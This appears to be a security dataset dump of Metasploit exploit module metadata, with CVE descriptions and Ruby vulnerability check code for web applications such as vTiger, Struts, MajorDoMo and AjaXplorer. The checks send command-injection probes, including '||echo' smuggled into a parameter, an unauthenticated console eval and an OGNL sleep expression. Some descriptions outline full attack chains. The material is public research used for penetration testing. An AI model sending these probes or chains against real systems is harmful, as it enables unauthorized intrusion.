deardaniel/secdata-raw huggingface dataset:
Metasploit Module: vTiger CRM SOAP AddEmailAttachment Arbitrary File Upload
Type: exploit
Path: modules/exploits/multi/http/vtiger_soap_upload.rb
Platform: php
Disclosure date: 2013-03-26
References: CVE-2013-3214, CVE-2013-3215, OSVDB-95902, OSVDB-95903, BID-61558, BID-61559, EDB-27279, URL-http://karmainsecurity.com/KIS-2013-07, URL-http://karmainsecurity.com/KIS-2013-08

Description:
vTiger CRM allows a user to bypass authentication when requesting SOAP services.
          In addition, arbitrary file upload is possible through the AddEmailAttachment SOAP
          service. By combining both vulnerabilities an attacker can upload and execute PHP
          code. This module has been tested successfully on vTiger CRM v5.4.0 over Ubuntu
          10.04 and Windows 2003 SP2.

Check method (fingerprinting):
test_one = check_email_soap("admin", rand_text_alpha(4 + rand(4)))
    res = send_soap_request(test_one)

    unless res and res.code == 200 and res.body.to_s =~ /<return xsi:nil="true" xsi:type="xsd:string"\/>/
      return Exploit::CheckCode::Unknown('Unexpected SOAP response from the target')
    end

    test_two = check_email_soap("admin")
    res = send_soap_request(test_two)

    if res and res.code == 200 and (res.body.blank? or res.body.to_s =~ /<return xsi:type="xsd:string">.*<\/return>/)
      return Exploit::CheckCode::Vulnerable('The target is vulnerable')
    end

    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: Oracle WebLogic wls-wsat Component Deserialization RCE
Type: exploit
Path: modules/exploits/multi/http/oracle_weblogic_wsat_deserialization_rce.rb
Platform: win
Disclosure date: 2017-10-19
References: URL-https://www.oracle.com/technetwork/topics/security/cpuoct2[PII_REDACTED].html, URL-https://github.com/Luffin/CVE-2017-10271, URL-https://github.com/kkirsche/CVE-2017-10271, CVE-2017-10271, EDB-43458
Targets: Windows Command payload, Unix Command payload

Description:
The Oracle WebLogic WLS WSAT Component is vulnerable to a XML Deserialization
          remote code execution vulnerability. Supported versions that are affected are
          10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0. Discovered by Alexey Tyurin
          of ERPScan and Federico Dotta of Media Service. Please note that SRVHOST, SRVPORT,
          HTTP_DELAY, URIPATH and related HTTP Server variables are only used when executing a check
          and will not be used when executing the exploit itself.

Check method (fingerprinting):
#   start_service
  #
  #   print_status('Sending the check payload...')
  #   res = send_request_cgi({
  #     'method'   => 'POST',
  #     'uri'      => normalize_uri(target_uri.path),
  #     'data'     => check_process_builder_payload,
  #     'ctype'    => 'text/xml;charset=UTF-8'
  #   }, datastore['TIMEOUT'])
  #
  #   print_status("Waiting #{datastore['HTTP_DELAY']} seconds to see if the target requests our URI...")
  #
  #   waited = 0
  #   until @received_request
  #     sleep 1
  #     waited += 1
  #     if waited > datastore['HTTP_DELAY']
  #       cleanup_service
  #       return Exploit::CheckCode::Safe
  #     end
  #   end
  #
  #   cleanup_service
  #   return Exploit::CheckCode::Vulnerable
  # end

  #
  # The exploit method connects to the remote service and sends the specified payload
  # encapsulated within a SOAP XML body.
  #
Metasploit Module: Flowise Custom MCP Remote Code Execution
Type: exploit
Path: modules/exploits/multi/http/flowise_custommcp_rce.rb
Platform: %w[unix linux
Disclosure date: 2025-08-14
References: CVE-2025-8943, URL-https://research.jfrog.com/vulnerabilities/flowise-os-command-remote-code-execution-jfsa-2[PII_REDACTED]78/
Targets: Unix/Linux Command, Windows Command

Description:
This module exploits a remote code execution vulnerability in Flowise versions >= 2.2.7-patch.1
          and < 3.0.1. The vulnerability exists in the customMCP endpoint (/api/v1/node-load-method/customMCP)
          located in packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts and packages/components/nodes/tools/MCP/core.ts,
          which allows users to execute arbitrary commands via StdioClientTransport by using the 'x-request-from: internal' header.
          When FLOWISE_USERNAME and FLOWISE_PASSWORD are not configured, the exploit works unauthenticated. If Basic Auth is
          enabled, the FLOWISE_USERNAME and FLOWISE_PASSWORD options must be set to provide credentials.

Check method (fingerprinting):
version = flowise_get_version
    return CheckCode::Unknown('Could not retrieve Flowise version') unless version

    print_status("Flowise version detected: #{version}")

    # Vulnerability introduced in 2.2.7-patch.1 (March 14, 2025) and fixed in 3.0.1 (May 29, 2025)
    # Note: Rex::Version parses "2.2.7-patch.1" as "2.2.7.pre.patch.1", so we check >= 2.2.7
    if (version >= Rex::Version.new('2.2.7') || version.to_s.include?('2.2.7')) && version < Rex::Version.new('3.0.1')
      return CheckCode::Appears('(affected: >= 2.2.7-patch.1 and < 3.0.1)')
    end

    CheckCode::Safe("Version #{version} is not vulnerable")
  end
Metasploit Module: Trend Micro Threat Discovery Appliance admin_sys_time.cgi Remote Command Execution
Type: exploit
Path: modules/exploits/multi/http/trendmicro_threat_discovery_admin_sys_time_cmdi.rb
Platform: linux
Disclosure date: 2017-04-10
References: URL-https://asciinema.org/a/112480, CVE-2016-7552, CVE-2016-7547

Description:
This module exploits two vulnerabilities the Trend Micro Threat Discovery Appliance.
          The first is an authentication bypass vulnerability via a file delete in logoff.cgi
          which resets the admin password back to 'admin' upon a reboot (CVE-2016-7552).
          The second is a cmdi flaw using the timezone parameter in the admin_sys_time.cgi
          interface (CVE-2016-7547).

          Note: You have the option to use the authentication bypass or not since it requires
          that the server is rebooted. The password reset will render the authentication useless.
          Typically, if an administrator cant login, they will bounce the box. Therefore, this
          module performs a heartbeat request until the box is bounced and then attempts to login
          and to perform the command injection. This module has been tested on version 2.6.1062r1
          of the appliance.

Check method (fingerprinting):
if do_login
      res = send_request_cgi({
        'uri' => normalize_uri(target_uri.path, 'cgi-bin/about.cgi'),
        'cookie' => @cookie,
        'method' => 'GET',
      }, 1)
      if res and res.code == 200 and res.body =~ /About Trend Micro/
        version = "#{$1}" if res.body =~ /var ver_str = new String\("(.*)"\)/
        case version
        when /2.6.1062/
          return Exploit::CheckCode::Vulnerable('Successfully verified command injection vulnerability')
        end
      end
    end
    return Exploit::CheckCode::Safe('The target is not running a vulnerable version')
  end
Metasploit Module: Spring Cloud Function SpEL Injection
Type: exploit
Path: modules/exploits/multi/http/spring_cloud_function_spel_injection.rb
Platform: unix
Disclosure date: 2022-03-29
References: CVE-2022-22963, URL-https://github.com/hktalent/spring-spel-0day-poc, URL-https://tanzu.vmware.com/security/cve-2022-22963, URL-https://attackerkb.com/assessments/cda33728-908a-4394-9bd5-d4126557d225
Targets: Unix Command, Linux Dropper

Description:
Spring Cloud Function versions prior to 3.1.7 and 3.2.3 are vulnerable to remote code execution due to using
          an unsafe evaluation context with user-provided queries. By crafting a request to the application and setting
          the spring.cloud.function.routing-expression header, an unauthenticated attacker can gain remote code
          execution. Both patched and unpatched servers will respond with a 500 server error and a JSON encoded message.

Check method (fingerprinting):
res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(datastore['TARGETURI'])
    )

    return CheckCode::Unknown('No response received from the target, the service may be unavailable') unless res

    # both vulnerable and patched servers respond with 500 and a JSON body with these keys
    return CheckCode::Safe('The target appears to be patched') unless res.code == 500
    return CheckCode::Safe('The target appears to be patched') unless %w[timestamp path status error message].to_set.subset?(res.get_json_document&.keys&.to_set)

    # best we can do is detect that the service is running
    CheckCode::Detected('The target application was detected')
  end
Metasploit Module: Ruby on Rails JSON Processor YAML Deserialization Code Execution
Type: exploit
Path: modules/exploits/multi/http/rails_json_yaml_code_exec.rb
Platform: ruby
Disclosure date: 2013-01-28
References: CVE-2013-0333, OSVDB-89594

Description:
This module exploits a remote code execution vulnerability in the
          JSON request processor of the Ruby on Rails application framework.
          This vulnerability allows an attacker to instantiate a remote object,
          which in turn can be used to execute any ruby code remotely in the
          context of the application. This vulnerability is very similar to
          CVE-2013-0156.

          This module has been tested successfully on RoR 3.0.9, 3.0.19, and
          2.3.15.

          The technique used by this module requires the target to be running a
          fairly recent version of Ruby 1.9 (since 2011 or so). Applications
          using Ruby 1.8 may still be exploitable using the init_with() method,
          but this has not been demonstrated.
Metasploit Module: SolarWinds Web Help Desk unauthenticated RCE
Type: exploit
Path: modules/exploits/multi/http/solarwinds_webhelpdesk_rce.rb
Platform: win
Disclosure date: 2026-01-28
References: CVE-2025-40536, CVE-2025-40551, URL-https://documentation.solarwinds.com/en/success_center/whd/content/release_notes/whd_2026-1_release_notes.htm, URL-https://horizon3.ai/attack-research/cve-2025-40551-another-solarwinds-web-help-desk-deserialization-issue/
Targets: WHD 12.8.* on Windows (Native code payload), WHD 12.8.* on Linux (Command payload), WHD 12.7.* on Windows (Command payload), WHD 12.7.* on Linux (Command payload)

Description:
This module exploits an access control bypass vulnerability (CVE-2025-40536) and an unsafe deserialization
          vulnerability (CVE-2025-40551) to achieve unauthenticated RCE against a vulnerable SolarWinds Web Help Desk (WHD)
          server.

Check method (fingerprinting):
session_ctx = step1_initial_session

    CheckCode::Vulnerable("Detected Web Help Desk version #{session_ctx[:version]} (#{session_ctx[:platform]}).")
  rescue Msf::Exploit::Failed => e
    CheckCode::Unknown(e.to_s)
  end
Metasploit Module: Apache Struts ParametersInterceptor Remote Code Execution
Type: exploit
Path: modules/exploits/multi/http/struts_code_exec_parameters.rb
Platform: win
Disclosure date: 2011-10-01
References: CVE-2011-3923, OSVDB-78501, URL-http://blog.o0o.nu/2012/01/cve-2011-3923-yet-another-struts2.html, URL-https://cwiki.apache.org/confluence/display/WW/S2-009
Targets: Windows Universal, Linux Universal, Java Universal

Description:
This module exploits a remote command execution vulnerability in Apache Struts
          versions < 2.3.1.2. This issue is caused because the ParametersInterceptor allows
          for the use of parentheses which in turn allows it to interpret parameter values as
          OGNL expressions during certain exception handling for mismatched data types of
          properties which allows remote attackers to execute arbitrary Java code via a
          crafted parameter.

Check method (fingerprinting):
sleep_time = datastore['CHECK_SLEEPTIME']
    check_cmd = "@java.lang.Thread@sleep(#{sleep_time * 1000})"
    t1 = Time.now
    vprint_status("Asking remote server to sleep for #{sleep_time} seconds")
    response = execute_command(check_cmd)
    t2 = Time.now
    delta = t2 - t1

    if response.nil?
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    elsif delta < sleep_time
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    else
      return Exploit::CheckCode::Appears('The target appears to be vulnerable')
    end
  end
Metasploit Module: MajorDoMo Supply Chain RCE via Update Poisoning
Type: exploit
Path: modules/exploits/multi/http/majordomo_supply_chain_rce.rb
Platform: php
Disclosure date: 2026-02-18
References: CVE-2026-27180, URL-https://chocapikk.com/posts/2026/majordomo-revisited/, URL-https://github.com/sergejey/majordomo/pull/1177
Targets: PHP In-Memory, Unix/Linux Command Shell, Windows Command Shell

Description:
This module exploits an unauthenticated remote code execution vulnerability in
          MajorDoMo's saverestore module via supply chain poisoning. The saverestore module's
          admin() method is reachable without authentication through the /objects/?module=saverestore
          endpoint because usual() calls admin() directly and uses gr() (which reads from $_REQUEST)
          instead of $this->mode for mode checks.

          Two unauthenticated GET requests chain together for full RCE:
          1. auto_update_settings - poisons the MASTER_UPDATE_URL to point to an attacker-controlled server
          2. force_update - triggers autoUpdateSystem() which fetches an Atom feed and tarball from the
          poisoned URL, extracts the tarball, and copies all files to the webroot via copyTree()

          The tarball is downloaded via curl with CURLOPT_SSL_VERIFYPEER set to FALSE and no integrity
          check. The attacker serves a fake Atom feed with an entry older than the configured delay
          (default 1 day) and a tarball containing a PHP webshell. After deployment, the module
          executes the payload through the webshell.

          All versions of MajorDoMo up to and including the latest release are affected.
          The fix is tracked in PR sergejey/majordomo#1177.

Check method (fingerprinting):
res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'objects', ''),
      'method' => 'GET',
      'vars_get' => { 'module' => 'saverestore' }
    )
    return CheckCode::Unknown('Failed to connect to the target.') unless res

    unless res.body.to_s.include?('MajorDoMo') || res.code == 200
      return CheckCode::Safe('Target does not appear to be MajorDoMo')
    end

    marker = Rex::Text.rand_text_alphanumeric(8)
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'admin.php'),
      'method' => 'GET',
      'vars_get' => {
        'ajax_panel' => '1',
        'op' => 'console',
        'command' => "echo '#{marker}';"
      }
    )

    if res&.body.to_s.include?(marker)
      return CheckCode::Vulnerable('Console eval is accessible without authentication (saverestore module also reachable)')
    end

    CheckCode::Detected('MajorDoMo detected but could not confirm unauthenticated access')
  end
Metasploit Module: Netwin SurgeFTP Remote Command Execution
Type: exploit
Path: modules/exploits/multi/http/netwin_surgeftp_exec.rb
Platform: win
Disclosure date: 2012-12-06
References: CVE-2012-10028, OSVDB-89105, EDB-23522
Targets: Windows, Unix

Description:
This module exploits a vulnerability found in Netwin SurgeFTP, version 23c8
          or prior.  In order to execute commands via the FTP service, please note that
          you must have a valid credential to the web-based administrative console.

Check method (fingerprinting):
res = send_request_raw({ 'uri' => '/cgi/surgeftpmgr.cgi' })
    if res and res.body =~ /surgeftp\x20\x0d\x0a\x20\x20Manager CGI/
      return Exploit::CheckCode::Detected('The target application was detected but requires authentication')
    else
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end
  end
Metasploit Module: Novell ServiceDesk Authenticated File Upload
Type: exploit
Path: modules/exploits/multi/http/novell_servicedesk_rce.rb
Platform: linux
Disclosure date: 2016-03-30
References: CVE-2016-1593, URL-https://raw.githubusercontent.com/pedrib/PoC/master/advisories/novell-service-desk-7.1.0.txt, URL-https://seclists.org/bugtraq/2016/Apr/64
Targets: Novell ServiceDesk / Linux, Novell ServiceDesk / Windows

Description:
This module exploits an authenticated arbitrary file upload via directory traversal
          to execute code on the target. It has been tested on versions 6.5 and 7.1.0, in
          Windows and Linux installations of Novell ServiceDesk, as well as the Virtual
          Appliance provided by Novell.

Check method (fingerprinting):
version = get_version
    if version <= 7.1 && version >= 6.5
      return Exploit::CheckCode::Appears('The target appears to be a vulnerable version')
    elsif version > 7.1
      return Exploit::CheckCode::Safe('The target is not running a vulnerable version')
    else
      return Exploit::CheckCode::Unknown('Detected version is outside the known vulnerable range')
    end
  end
Metasploit Module: Splunk Custom App Remote Code Execution
Type: exploit
Path: modules/exploits/multi/http/splunk_upload_app_exec.rb
Platform: %w(linux unix win osx)
Disclosure date: 2012-09-27
References: URL-http://blog.7elements.co.uk/2012/11/splunk-with-great-power-comes-great-responsibility.html, URL-http://blog.7elements.co.uk/2012/11/abusing-splunk-with-metasploit.html, URL-http://docs.splunk.com/Documentation/Splunk/latest/SearchReference/Script
Targets: Splunk >= 7.2.4 / Linux, Splunk >= 7.2.4 / Windows, Splunk >= 7.2.4 / OSX, Splunk >= 5.0.1 / Linux, Splunk >= 5.0.1 / Windows

Description:
This module exploits a feature of Splunk whereby a custom application can be
          uploaded through the web based interface. Through the 'script' search command a
          user can call commands defined in their custom application which includes arbitrary
          perl or python code. To abuse this behavior, a valid Splunk user with the admin
          role is required. By default, this module uses the credential of "admin:changeme",
          the default Administrator credential for Splunk. Note that the Splunk web interface
          runs as SYSTEM on Windows, or as root on Linux by default. This module has been
          tested successfully against Splunk 5.0, 6.1, 6.1.1 and 7.2.4.
          Version 7.2.4 has been tested successfully against OSX as well

Check method (fingerprinting):
# all versions are actually "vulnerable" but check implemented for future proofing
    # and good practice
    res = send_request_cgi(
      {
        'uri' => '/en-US/account/login',
        'method' => 'GET'
      }, 25
    )

    if res && res.body =~ /Splunk Inc\. Splunk/
      return Exploit::CheckCode::Detected('The target application was detected but the version could not be confirmed as vulnerable')
    else
      return Exploit::CheckCode::Safe('The target is not running a vulnerable version')
    end
  end
Metasploit Module: Phoenix Exploit Kit Remote Code Execution
Type: exploit
Path: modules/exploits/multi/http/phoenix_exec.rb
Platform: php
Disclosure date: 2016-07-01
References: EDB-40047, URL-http://krebsonsecurity.com/tag/phoenix-exploit-kit/, URL-https://www.pwnmalw.re/Exploit%20Pack/phoenix

Description:
This module exploits a Remote Code Execution in the web panel of Phoenix Exploit Kit via geoip.php. The
          Phoenix Exploit Kit is a popular commercial crimeware tool that probes the browser of the visitor for the
          presence of outdated and insecure versions of browser plugins like Java and Adobe Flash and Reader,
          silently installing malware if found.

Check method (fingerprinting):
test = Rex::Text.rand_text_alpha(8)
    res = http_send_command("echo \"#{test}\";")
    if res && res.body.include?(test)
      return Exploit::CheckCode::Vulnerable('Successfully verified remote code execution')
    end

    Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: WordPress ACF Extended Unauthenticated RCE via prepare_form()
Type: exploit
Path: modules/exploits/multi/http/wp_acf_extended_rce.rb
Platform: %w[php unix linux win
Disclosure date: 2025-12-02
References: CVE-2025-13486, URL-https://www.wordfence.com/blog/2025/12/100000-wordpress-sites-affected-by-remote-code-execution-vulnerability-in-advanced-custom-fields-extended-wordpress-plugin/
Targets: PHP In-Memory, Unix/Linux Command Shell, Windows Command Shell

Description:
This module exploits an unauthenticated Remote Code Execution vulnerability in the
          Advanced Custom Fields: Extended (ACF Extended) WordPress plugin versions 0.9.0.5
          through 0.9.1.1. The vulnerability exists in the prepare_form() function of the
          acfe_module_form_front_render class, which accepts user-controlled input via the
          form[render] parameter and passes it directly to call_user_func_array() without
          proper sanitization.

          This exploit requires a WordPress page containing an ACF Extended form widget, which
          exposes the required nonce token in the page's JavaScript. The NONCE_PAGE option
          must be set to the path of such a page.

          Once an administrator account is created via wp_insert_user(), the module uploads
          and executes a malicious plugin to achieve remote code execution (RCE).

Check method (fingerprinting):
return CheckCode::Unknown('The target does not appear to be running WordPress') unless wordpress_and_online?

    plugin_check = check_plugin_version_from_readme('acf-extended', '0.9.2', '0.9.0.5')
    return plugin_check if plugin_check == CheckCode::Safe

    @nonce = find_nonce
    return CheckCode::Unknown('Could not find nonce on specified page') unless @nonce

    CheckCode::Appears('The target appears to be a vulnerable version')
  end
Metasploit Module: vBulletin 5.1.2 Unserialize Code Execution
Type: exploit
Path: modules/exploits/multi/http/vbulletin_unserialize.rb
Platform: php
Disclosure date: 2015-11-04
References: CVE-2015-7808, EDB-38629, URL-http://web.archive.org/web/[PII_REDACTED]5552/http://pastie.org/pastes/10527766/text?key=wq1hgkcj4afb9ipqzllsq, URL-http://blog.checkpoint.com/2015/11/05/check-point-discovers-critical-vbulletin-0-day/

Description:
This module exploits a PHP object injection vulnerability in vBulletin 5.1.2 to 5.1.9

Check method (fingerprinting):
begin
      res = send_request_cgi({ 'uri' => target_uri.path })
      if (res && res.body.include?('vBulletin Solutions, Inc.'))
        if res.body.include?("Version 5.0")
          @my_target = targets[1] if target['auto']
          return Exploit::CheckCode::Appears('The target appears to be a vulnerable version')
        elsif res.body.include?("Version 5.1")
          @my_target = targets[2] if target['auto']
          return Exploit::CheckCode::Appears('The target appears to be a vulnerable version')
        else
          return Exploit::CheckCode::Detected('The target application was detected but the version could not be confirmed as vulnerable')
        end
      end
    rescue ::Rex::ConnectionError
      return Exploit::CheckCode::Safe('The target is not running a vulnerable version')
    end
  end
Metasploit Module: AjaXplorer checkInstall.php Remote Command Execution
Type: exploit
Path: modules/exploits/multi/http/ajaxplorer_checkinstall_exec.rb
Platform: %w{bsd linux osx unix win}
Disclosure date: 2010-04-04
References: CVE-2010-10013, OSVDB-63552, BID-39334

Description:
This module exploits an arbitrary command execution vulnerability in the
          AjaXplorer 'checkInstall.php' script. All versions of AjaXplorer prior to
          2.6 are vulnerable.

Check method (fingerprinting):
uri = target_uri.path
    uri << '/' if uri[-1, 1] != '/'
    clue = Rex::Text::rand_text_alpha(rand(5) + 5)

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(uri, 'plugins/access.ssh/checkInstall.php'),
      'vars_get' => {
        'destServer' => "||echo #{clue}"
      }
    })

    # If the server doesn't return the default redirection, probably something is wrong
    if res and res.code == 200 and res.body =~ /#{clue}/
      return Exploit::CheckCode::Vulnerable('Successfully verified remote command execution')
    end

    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end